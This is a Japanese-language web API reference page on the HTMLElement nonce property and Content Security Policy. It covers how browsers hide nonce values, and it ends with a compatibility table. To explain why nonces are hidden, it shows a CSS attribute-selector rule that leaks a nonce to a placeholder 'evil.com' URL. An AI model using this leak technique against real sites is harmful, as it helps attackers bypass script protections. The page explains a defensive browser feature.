HTMLElement: nonce プロパティ

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since August 2016.

nonceHTMLElement インターフェイスのプロパティで、特定の読み取りを続行できるかどうかを決定するためにコンテンツセキュリティポリシーで使用される一度だけの暗号化番号を返します。

後の実装では、 nonce 属性を持つ要素はスクリプトにのみ公開します(CSS 属性セレクターのようなサイドチャネルには公開しません)。

ノンス値の受け取り

以前は、すべてのブラウザーが IDL 属性の nonce に対応している訳ではなかったので、回避策としては、代替として getAttribute を使用するようにしていました。

js
let nonce = script["nonce"] || script.getAttribute("nonce");

しかし、最近の版のブラウザーでは、この方法でアクセスすると nonce の値を隠します(空の文字列が返されます)。 IDL プロパティ (script['nonce']) がノンスにアクセスする唯一の方法となります。

ノンスを隠蔽することは、この CSS セレクターのようなコンテンツ属性からデータを取得するメカニズムによって、攻撃者がノンスデータを流出させることを防ぐのに役立ちます。

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

仕様書

Specification
HTML
# dom-noncedelement-nonce

ブラウザーの互換性

Report problems with this compatibility data on GitHub
desktopmobile
Chrome
Edge
Firefox
Opera
Safari
Chrome Android
Firefox for Android
Opera Android
Safari on iOS
Samsung Internet
WebView Android
WebView on iOS
nonce

Legend

Tip: you can click/tap on a cell for more information.

Full support
Full support
Partial support
Partial support
Has more compatibility info.

関連情報